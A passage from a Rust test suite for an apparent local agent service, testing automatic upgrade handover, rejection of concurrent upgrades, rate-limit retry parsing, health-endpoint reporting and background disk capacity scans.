25100 .begin_talk_turn("active-chat-turn")
25101 .expect("claim chat turn")
25102 .expect("free chat turn");
25103 assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25104
25105 let corrupt = home.path().join("workers/jobs/444444");
25108 std::fs::create_dir_all(&corrupt).unwrap();
25109 std::fs::write(corrupt.join("job.json"), "{").unwrap();
25110 let latest = || {
25111 Some(kaishin::LatestRelease {
25112 tag_name: "v999.0.0".into(),
25113 html_url: String::new(),
25114 })
25115 };
25116 let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25117 assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25118 assert!(updater::read_progress(home.path()).is_none());
25119 std::fs::remove_dir_all(corrupt).unwrap();
25120
25121 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25122 .await
25123 .expect("bind loopback");
25124 let address = listener.local_addr().expect("address");
25125 let served =
25126 tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25127
25128 let handover_signal = Arc::new(Notify::new());
25129 TEST_AUTO_HANDOVERS
25130 .lock()
25131 .unwrap_or_else(PoisonError::into_inner)
25132 .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25133
25134 let admission = ui.begin_admission().expect("admit");
25135 let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25136 assert_eq!(response.status(), StatusCode::ACCEPTED);
25137 tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25138 .await
25139 .expect("auto upgrade runner must reach handover");
25140 let replaced = updater::read_progress(home.path()).unwrap();
25141 assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25142 assert_eq!(replaced.stage, updater::Stage::Replaced);
25143
25144 let successor_started = std::sync::atomic::AtomicBool::new(false);
25145 let handover = hand_over(home.path(), &ui.admissions, served, || {
25146 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25147 Ok(1)
25148 });
25149 tokio::pin!(handover);
25150 std::future::poll_fn(|cx| {
25152 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25153 std::task::Poll::Ready(())
25154 })
25155 .await;
25156 assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25157 assert!(ui.begin_admission().is_err());
25158
25159 drop(admission);
25160 tokio::time::timeout(Duration::from_secs(2), handover)
25161 .await
25162 .expect("automatic handover must not wait for active workers")
25163 .expect("handover");
25164 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25165
25166 let successor = bind_waiting(address)
25167 .await
25168 .expect("successor binds released address");
25169 assert_eq!(successor.local_addr().unwrap(), address);
25170
25171 let restarting = updater::read_progress(home.path()).unwrap();
25172 assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25173 assert_eq!(restarting.stage, updater::Stage::Restarting);
25174 assert!(restarting.parked_run.is_none());
25175 assert!(restarting.parked_talks.is_empty());
25176
25177 let active_after = crate::worker::observe_active(home.path()).unwrap();
25178 assert_eq!(active_after.len(), 3);
25179 for (id, _, kind, key, pid) in workers {
25180 let job = active_after
25181 .iter()
25182 .find(|job| job.id == id)
25183 .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25184 assert_eq!(job.kind, kind);
25185 assert_eq!(job.pid, Some(pid));
25186 assert_eq!(job.generation, "gen-old");
25187 assert_eq!(job.status, crate::worker::Status::Running);
25188 assert!(
25189 crate::worker::control(home.path(), key).unwrap().is_none(),
25190 "no park/stop control may be requested for {key}"
25191 );
25192 }
25193 assert!(
25194 !home.path().join("worker-parks").exists(),
25195 "automatic handover must never request worker parks"
25196 );
25197 assert!(chat_turn.owns(), "chat lease survives automatic handover");
25198 assert!(
25199 crate::worker::try_lease(home.path(), "task:active-task")
25200 .unwrap()
25201 .is_none()
25202 );
25203 assert!(
25204 crate::worker::try_lease(home.path(), "chat:active-chat")
25205 .unwrap()
25206 .is_none()
25207 );
25208 assert!(
25209 crate::worker::try_lease(home.path(), "service:maintenance")
25210 .unwrap()
25211 .is_none()
25212 );
25213
25214 let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25215 assert!(
25216 log.contains("auto-upgrade: beginning update and restart"),
25217 "{log}"
25218 );
25219 assert!(!log.contains("waiting for idle"), "{log}");
25220 assert!(!log.contains("idle;"), "{log}");
25221
25222 drop(successor);
25223 drop(chat_turn);
25224 drop(service_lease);
25225 drop(chat_lease);
25226 drop(task_lease);
25227 drop(exec_leases);
25228 }
25229
25230 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25231 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25232 p.stage = stage;
25233 p
25234 }
25235
25236 #[test]
25237 fn busy_stages_match_the_ui_set() {
25238 use crate::updater::Stage;
25239 assert!(APP_JS.contains(
25240 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25241 ));
25242 for s in [
25243 Stage::Downloading,
25244 Stage::Replaced,
25245 Stage::Parking,
25246 Stage::Restarting,
25247 ] {
25248 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25249 }
25250 for s in [Stage::Done, Stage::Failed] {
25251 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25252 }
25253 assert!(upgrade_in_motion(None).is_none());
25254 }
25255
25256 #[tokio::test]
25257 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25258 use crate::updater::Stage;
25259 for stage in [
25260 Stage::Downloading,
25261 Stage::Replaced,
25262 Stage::Parking,
25263 Stage::Restarting,
25264 ] {
25265 let fx = Fixture::start().await;
25266 let seeded = seeded_progress(stage);
25267 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25268 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25269 .expect("read");
25270
25271 let res = fx.post("/api/upgrade", None).await;
25272 assert_eq!(res.status, 409, "{stage:?}");
25273 let err = res.json()["error"].as_str().unwrap().to_owned();
25274 assert!(err.contains("already in progress"), "{err}");
25275 assert!(err.contains(stage.as_str()), "{err}");
25276
25277 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25278 .expect("read");
25279 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25280 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25281 .unwrap_or_default();
25282 assert!(!log.contains("signalling HANDOVER"), "{log}");
25283 }
25284 }
25285
25286 #[test]
25287 fn upgrade_retry_timing_only_parses_known_diagnostics() {
25288 assert_eq!(
25289 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25290 Some(3723)
25291 );
25292 assert_eq!(
25293 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25294 Some(60)
25295 );
25296 assert_eq!(
25297 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25298 Some(0)
25299 );
25300 for message in [
25301 "permission denied",
25302 "GitHub API rate limit exceeded",
25303 "GitHub rate limit (resets in unknown)",
25304 "GitHub rate limit (resets in 18446744073709551615d)",
25305 ] {
25306 assert_eq!(upgrade_retry_after(message), None, "{message}");
25307 }
25308 }
25309
25310 #[tokio::test]
25311 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25312 let home = TempDir::new().unwrap();
25313 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25314 ui.start_loop(None).unwrap();
25315 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25316 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25317 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25318 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25319 let response = finish_upgrade_request(&ui, result);
25320 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25321 assert_eq!(response.headers()["retry-after"], "120");
25322 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25323 .await
25324 .unwrap();
25325 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25326 assert!(body["error"].as_str().unwrap().contains(reason));
25327 assert_eq!(body["retry_after_secs"], 120);
25328 assert!(body["retry_at"].as_u64().is_some());
25329 for _ in 0..2 {
25330 let view = health(State(ui.clone())).await.unwrap().0;
25331 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25332 assert_eq!(failure, body);
25333 }
25334 assert_eq!(
25335 std::fs::read(updater::progress_path(home.path())).unwrap(),
25336 before
25337 );
25338 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25339 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25340 let gate = ui.upgrade_gate.lock().await;
25342 assert_eq!(
25343 upgrade_post(State(ui.clone())).await.status(),
25344 StatusCode::CONFLICT
25345 );
25346 drop(gate);
25347 assert!(
25348 health(State(ui.clone()))
25349 .await
25350 .unwrap()
25351 .0
25352 .upgrade_request_error
25353 .is_some()
25354 );
25355 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25356 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25357 assert!(
25358 health(State(ui.clone()))
25359 .await
25360 .unwrap()
25361 .0
25362 .upgrade_request_error
25363 .is_none()
25364 );
25365 let live = ui.lock_loop().live.take().unwrap();
25366 live.stop.stop();
25367 live.handle.await.unwrap();
25368 }
25369
25370 #[tokio::test]
25371 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25372 use crate::updater::Stage;
25373 let repo = TempDir::new().expect("repo dir");
25374 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25375 .expect("write magi.toml");
25376 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25377 for stage in [Stage::Done, Stage::Failed] {
25378 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25379 let res = fx.post("/api/upgrade", None).await;
25380 assert_eq!(res.status, 200, "{stage:?}");
25381 }
25382 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25384 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25385 }
25386
25387 #[tokio::test]
25388 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25389 let repo = TempDir::new().expect("repo dir");
25405 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25406 .expect("write magi.toml");
25407 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25408
25409 let res = fx.post("/api/upgrade", None).await;
25415 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25416 let body = res.json();
25417 assert!(body["to"].is_null(), "there was no release to move to");
25418 assert!(body["parked"].is_null(), "and nothing was parked");
25419 assert!(
25420 body["detail"]
25421 .as_str()
25422 .unwrap()
25423 .contains("nothing restarted"),
25424 "{body:?}"
25425 );
25426 }
25427
25428 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25429 tokio::time::timeout(Duration::from_secs(5), async {
25430 while state.lock().unwrap().in_flight {
25431 tokio::task::yield_now().await;
25432 }
25433 })
25434 .await
25435 .expect("capacity scan finished");
25436 }
25437
25438 fn disk_test_scope(home: &FsPath) -> DiskScope {
25439 DiskScope {
25440 runs: home.join("runs"),
25441 worktrees: home.join("worktrees"),
25442 cache: Some(home.join("cache")),
25443 }
25444 }
25445
25446 fn known_disk_capacity() -> DiskCapacity {
25447 DiskCapacity {
25448 free_bytes: Some(100),
25449 runs_bytes: Some(200),
25450 worktrees_bytes: Some(300),
25451 cache_bytes: Some(400),
25452 }
25453 }
25454
25455 #[tokio::test]
25456 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25457 let home = TempDir::new().unwrap();
25458 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25459 let mut ui = delta_test_ui(home.path());
25460 let state = Arc::get_mut(&mut ui).unwrap();
25461 state.repo = home.path().to_owned();
25462 state.worktrees_root = home.path().join("worktrees");
25463 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25464 ui.monitor
25465 .worker_started
25466 .store(true, std::sync::atomic::Ordering::SeqCst);
25467 let cfg = deputy_config(&ui.repo);
25468 let scope = DiskScope::of(&ui, cfg.as_ref());
25469 let (started, reached) = tokio::sync::oneshot::channel();
25470 let (release, blocked) = std::sync::mpsc::channel();
25471 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25472 started.send(()).unwrap();
25473 let _ = blocked.recv();
25475 known_disk_capacity()
25476 });
25477 assert!(cold.runs_bytes.is_none());
25478 tokio::time::timeout(Duration::from_secs(5), reached)
25479 .await
25480 .unwrap()
25481 .unwrap();
25482
25483 let requests: Vec<_> = (0..4)
25484 .map(|_| {
25485 let ui = ui.clone();
25486 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25487 })
25488 .collect();
25489 let completed = tokio::time::timeout(Duration::from_secs(60), async {
25493 for request in requests {
25494 let view = request.await.unwrap();
25495 let disk = serde_json::to_value(view.disk).unwrap();
25496 assert!(disk["runs_bytes"].is_null());
25497 assert!(disk["worktrees_bytes"].is_null());
25498 assert!(disk["free_bytes"].is_u64());
25501 }
25502 })
25503 .await;
25504 if completed.is_err() {
25505 release.send(()).unwrap();
25506 wait_for_disk_scan(&ui.monitor.disk).await;
25507 panic!("health must return while the measurement is causally blocked");
25508 }
25509 assert!(ui.monitor.disk.lock().unwrap().in_flight);
25510 assert!(
25512 ui.monitor
25513 .disk
25514 .lock()
25515 .unwrap()
25516 .capacity
25517 .runs_bytes
25518 .is_none()
25519 );
25520 release.send(()).unwrap();
25521 wait_for_disk_scan(&ui.monitor.disk).await;
25522 assert_eq!(
25523 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25524 Some(200)
25525 );
25526 }
25527
25528 #[tokio::test]
25529 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25530 let home = TempDir::new().unwrap();
25531 let scope = disk_test_scope(home.path());
25532 let state = Arc::new(Mutex::new(DiskObservation {
25533 scope: Some(scope.clone()),
25534 capacity: known_disk_capacity(),
25535 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25536 ..Default::default()
25537 }));
25538 let (started, reached) = tokio::sync::oneshot::channel();
25539 let (release, blocked) = std::sync::mpsc::channel();
25540 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25541 started.send(()).unwrap();
25542 blocked.recv().unwrap();
25543 DiskCapacity {
25544 runs_bytes: Some(250),
25545 ..Default::default()
25546 }
25547 });
25548 assert_eq!(before.cache_bytes, Some(400));
25549 tokio::time::timeout(Duration::from_secs(5), reached)
25550 .await
25551 .unwrap()
25552 .unwrap();
25553 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25554 for _ in 0..4 {
25555 let scans = duplicate_scans.clone();
25556 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25557 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25558 DiskCapacity::default()
25559 });
25560 assert_eq!(during.runs_bytes, Some(200));
25561 assert_eq!(during.cache_bytes, Some(400));
25562 }
25563 release.send(()).unwrap();
25564 wait_for_disk_scan(&state).await;
25565 let scans = duplicate_scans.clone();
25566 let after = DiskObservation::observe(&state, scope, move |_| {
25567 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25568 DiskCapacity::default()
25569 });
25570 wait_for_disk_scan(&state).await;
25571 assert_eq!(after.runs_bytes, Some(250));
25572 assert_eq!(after.free_bytes, Some(100));
25573 assert_eq!(after.cache_bytes, Some(400));
25574 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25575 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25576 }
25577
25578 #[tokio::test]
25579 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25580 let home = TempDir::new().unwrap();
25581 let old_scope = disk_test_scope(home.path());
25582 let mut new_scope = old_scope.clone();
25583 new_scope.cache = Some(home.path().join("replacement-cache"));
25584 let state = Arc::new(Mutex::new(DiskObservation {
25585 scope: Some(old_scope.clone()),
25586 capacity: known_disk_capacity(),
25587 ..Default::default()
25588 }));
25589 let (started, reached) = tokio::sync::oneshot::channel();
25590 let (release, blocked) = std::sync::mpsc::channel();
25591 DiskObservation::observe(&state, old_scope, move |_| {
25592 started.send(()).unwrap();
25593 blocked.recv().unwrap();
25594 known_disk_capacity()
25595 });
25596 tokio::time::timeout(Duration::from_secs(5), reached)
25597 .await
25598 .unwrap()
25599 .unwrap();
25600 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25601 let scans = duplicate_scans.clone();
25602 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25603 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25604 DiskCapacity::default()
25605 });
25606 assert!(changed.cache_bytes.is_none());
25607 assert!(changed.runs_bytes.is_none());
25608 release.send(()).unwrap();
25609 wait_for_disk_scan(&state).await;
25610 {
25611 let observation = state.lock().unwrap();
25612 assert!(observation.capacity.cache_bytes.is_none());
25613 assert!(observation.finished.is_none());
25614 }
25615 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25616 assert_eq!(scope, &new_scope);
25617 DiskCapacity {
25618 cache_bytes: Some(999),
25619 ..Default::default()
25620 }
25621 });
25622 wait_for_disk_scan(&state).await;
25623 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25624 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25625 }
25626
25627 #[tokio::test]
25628 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25629 let home = TempDir::new().unwrap();
25630 let scope = disk_test_scope(home.path());
25631 let state = Arc::new(Mutex::new(DiskObservation {
25632 scope: Some(scope.clone()),
25633 capacity: known_disk_capacity(),
25634 ..Default::default()
25635 }));
25636 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25637 wait_for_disk_scan(&state).await;
25638 {
25639 let mut observation = state.lock().unwrap();
25640 assert_eq!(observation.capacity.cache_bytes, Some(400));
25641 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25642 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25643 }
25644 DiskObservation::observe(&state, scope, |_| DiskCapacity {
25645 cache_bytes: Some(450),
25646 ..Default::default()
25647 });
25648 wait_for_disk_scan(&state).await;
25649 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25650 }
25651
25652 #[test]
25653 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25654 let home = TempDir::new().unwrap();
25655 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25656 assert_eq!(disk_capacity_size(home.path()), Some(0));
25657 std::fs::create_dir(home.path().join("nested")).unwrap();
25658 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25659 assert_eq!(disk_capacity_size(home.path()), Some(5));
25660 #[cfg(unix)]
25661 {
25662 assert_eq!(
25664 disk_capacity_size(&home.path().join("nested/data/child")),
25665 None
25666 );
25667 }
25668 #[cfg(unix)]
25669 {
25670 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25671 assert_eq!(disk_capacity_size(home.path()), Some(5));
25672 }
25673 }
25674
25675 #[tokio::test]
25676 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25677 let repo = TempDir::new().expect("repo dir");
25682 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25683 .expect("write magi.toml");
25684 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25685
25686 let health = fx.get("/api/health").await.json();
25687 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25688 assert_eq!(
25689 health["update"]["available"], false,
25690 "checking is off, which reads as \"unknown\", not \"none\""
25691 );
25692 assert!(health["update"]["to"].is_null());
25693 assert!(
25694 health["upgrade"].is_null(),
25695 "nothing has ever asked this deck to upgrade"
25696 );
25697 }
25698
25699 #[tokio::test]
25700 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25701 let fx = Fixture::start().await;
25702 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25703
25704 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25705 progress.parked_run = Some("20260905-000000-cd51".to_owned());
25706 progress.advance(crate::updater::Stage::Parking);
25707 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25708
25709 let health = fx.get("/api/health").await.json();
25710 assert_eq!(health["upgrade"]["stage"], "parking");
25711 assert_eq!(health["upgrade"]["from"], "0.5.1");
25712 assert_eq!(health["upgrade"]["to"], "0.5.2");
25713 let waiting_on = health["upgrade"]["waiting_on"]
25714 .as_str()
25715 .expect("waiting_on is set while parking a known run");
25716 assert!(waiting_on.contains("cd51"), "{waiting_on}");
25717 assert!(waiting_on.contains("implementing"), "{waiting_on}");
25718 }
25719
25720 #[tokio::test]
25721 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25722 let fx = Fixture::start().await;
25723 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25724 progress.advance(crate::updater::Stage::Done);
25725 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25726
25727 let health = fx.get("/api/health").await.json();
25728 assert_eq!(health["upgrade"]["stage"], "done");
25729 assert!(
25730 health["upgrade"]["waiting_on"].is_null(),
25731 "nothing to wait on once it is done"
25732 );
25733 }
25734
25735 #[tokio::test]
25738 async fn the_handover_signal_wakes_one_waiter_once() {
25739 let signal = Notify::new();
25740 signal.notify_one();
25742 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25743 .await
25744 .expect("an early signal is still seen");
25745 assert!(
25747 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25748 .await
25749 .is_err(),
25750 "a consumed signal must not wake a second time"
25751 );
25752 let signal = std::sync::Arc::new(signal);
25754 let waiter = tokio::spawn({
25755 let signal = std::sync::Arc::clone(&signal);
25756 async move { wait_for_handover(&signal).await }
25757 });
25758 tokio::time::sleep(Duration::from_millis(20)).await;
25759 assert!(!waiter.is_finished(), "nothing was signalled yet");
25760 signal.notify_one();
25761 tokio::time::timeout(Duration::from_secs(5), waiter)
25762 .await
25763 .expect("a late signal wakes the waiter")
25764 .expect("join");
25765 }
25766
25767 #[tokio::test]
25768 async fn health_says_how_long_a_handover_has_been_stuck() {
25769 let fx = Fixture::start().await;
25770 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25771 progress.advance(crate::updater::Stage::Replaced);
25772 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25773 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25774
25775 let health = fx.get("/api/health").await.json();
25776 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25777 assert!(stuck >= 600, "{stuck}");
25778 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25779 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25780 }
25781
25782 #[tokio::test]
25783 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25784 let home = tempfile::tempdir().expect("temp home");
25785 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25786 progress.advance(crate::updater::Stage::Parking);
25787 crate::updater::write_progress(home.path(), &progress).expect("seed");
25788 let mut again = progress.clone();
25790 again.advance(crate::updater::Stage::Replaced);
25791 crate::updater::write_progress(home.path(), &again).expect("replaced");
25792 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25793 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25794 let after = crate::updater::read_progress(home.path()).expect("record");
25795 assert_eq!(after.stage, crate::updater::Stage::Parking);
25796 }
25797
25798 #[tokio::test]
25799 async fn health_does_not_call_a_live_parking_wait_stuck() {
25800 let fx = Fixture::start().await;
25801 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25802 progress.parked_run = Some("20260905-000000-cd51".to_owned());
25803 progress.advance(crate::updater::Stage::Parking);
25804 let hours = Duration::from_secs(3 * 3600);
25805 progress.started_at = Timestamp::now() - hours;
25806 progress.updated_at = Timestamp::now() - hours;
25807 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25808 let _lease = crate::updater::LeaseGuard::enter(
25809 fx.home.path(),
25810 Some("20260905-000000-cd51".to_owned()),
25811 );
25812
25813 let health = fx.get("/api/health").await.json();
25814 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25815 assert!(health["upgrade"]["stuck_kind"].is_null());
25816 assert_eq!(health["upgrade"]["handover_alive"], true);
25817 let waiting_on = health["upgrade"]["waiting_on"]
25818 .as_str()
25819 .expect("waiting_on");
25820 assert!(waiting_on.contains("cd51"), "{waiting_on}");
25821 }
25822
25823 fn idle_ui(home: &TempDir) -> Ui {
25824 let runs = home.path().join("runs");
25825 std::fs::create_dir_all(&runs).expect("runs dir");
25826 Ui::new(
25827 Queue::at(home.path().join("queue")),
25828 Questions::at(home.path().join("questions")),
25829 Talks::at(home.path().join("talks")),
25830 runs,
25831 home.path().to_path_buf(),
25832 PathBuf::from("/repo/magi"),
25833 )
25834 .with_launch(launch_idle)
25835 }
25836
25837 #[tokio::test]
25838 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25839 let home = TempDir::new().expect("temp home");
25840 let ui = idle_ui(&home);
25841 let lease = crate::worker::try_lease(home.path(), "scheduler")
25842 .expect("scheduler lease")
25843 .expect("free");
25844 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25845 .expect("request stop");
25846 let error = ui
25847 .start_detached_loop()
25848 .await
25849 .expect_err("transition is still live");
25850 assert_eq!(error.status, StatusCode::CONFLICT);
25851 assert!(error.message.contains("still running or stopping"));
25852 assert_eq!(
25853 crate::worker::control(home.path(), "scheduler").unwrap(),
25854 Some(crate::worker::Control::Stop)
25855 );
25856 drop(lease);
25857 }
25858
25859 #[tokio::test]
25860 async fn handover_releases_listener_without_waiting_for_execution_leases() {
25861 let home = TempDir::new().expect("temp home");
25862 let ui = idle_ui(&home);
25863 let turns = ui
25864 .begin_talk_turn("active-chat")
25865 .expect("claim")
25866 .expect("free");
25867 let execution = crate::worker::try_lease(home.path(), "active-task")
25868 .expect("execution lease")
25869 .expect("free");
25870 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25871 .await
25872 .expect("bind loopback");
25873 let address = listener.local_addr().expect("address");
25874 let admissions = Arc::clone(&ui.admissions);
25875 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25876 let successor_started = std::sync::atomic::AtomicBool::new(false);
25877 tokio::time::timeout(
25878 Duration::from_secs(2),
25879 hand_over(home.path(), &admissions, served, || {
25880 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25881 Ok(1)
25882 }),
25883 )
25884 .await
25885 .expect("restart must not wait for execution")
25886 .expect("handover");
25887 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25888 let successor = bind_waiting(address)
25891 .await
25892 .expect("successor binds released address");
25893 assert_eq!(successor.local_addr().unwrap(), address);
25894 assert!(turns.owns(), "the chat lease survives restart");
25895 assert!(
25896 crate::worker::try_lease(home.path(), "active-task")
25897 .unwrap()
25898 .is_none()
25899 );
25900 drop(execution);
25901 drop(turns);
25902 }
25903
25904 #[tokio::test]
25905 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25906 let home = TempDir::new().expect("temp home");
25907 let ui = idle_ui(&home);
25908 let admission = ui.begin_admission().expect("admit send");
25909 let turn = ui
25910 .begin_talk_turn("active-chat")
25911 .expect("claim")
25912 .expect("free");
25913 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25914 .await
25915 .expect("bind loopback");
25916 let address = listener.local_addr().expect("address");
25917 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25918 let successor_called = std::sync::atomic::AtomicBool::new(false);
25919 let handover = hand_over(home.path(), &ui.admissions, served, || {
25920 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25921 Ok(1)
25922 });
25923 tokio::pin!(handover);
25924 std::future::poll_fn(|cx| {
25927 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25928 std::task::Poll::Ready(())
25929 })
25930 .await;
25931 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25932 assert!(
25933 ui.begin_admission().is_err(),
25934 "new ingress cannot race the drain"
25935 );
25936 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25937 drop(admission);
25938 tokio::time::timeout(Duration::from_secs(2), handover)
25939 .await
25940 .expect("only publication may delay restart")
25941 .expect("handover");
25942 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25943 assert!(
25944 turn.owns(),
25945 "the detached chat turn is not awaited or cancelled"
25946 );
25947 assert!(
25948 ui.begin_admission().is_err(),
25949 "old accepted connections stay closed"
25950 );
25951 drop(turn);
25952 }
25953
25954 #[test]
25955 fn health_worker_metadata_never_contains_payload_or_result() {
25956 let view = WorkerView::from(crate::worker::Job {
25957 id: "job".into(),
25958 sequence: 1,
25959 kind: "service".into(),
25960 key: "maintenance".into(),
25961 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25962 generation: "generation".into(),
25963 version: Some("1.2.3".into()),
25964 status: crate::worker::Status::Running,
25965 result: Some("private diagnostics".into()),
25966 pid: Some(4242),
25967 created_at: 1,
25968 finished_at: None,
25969 });
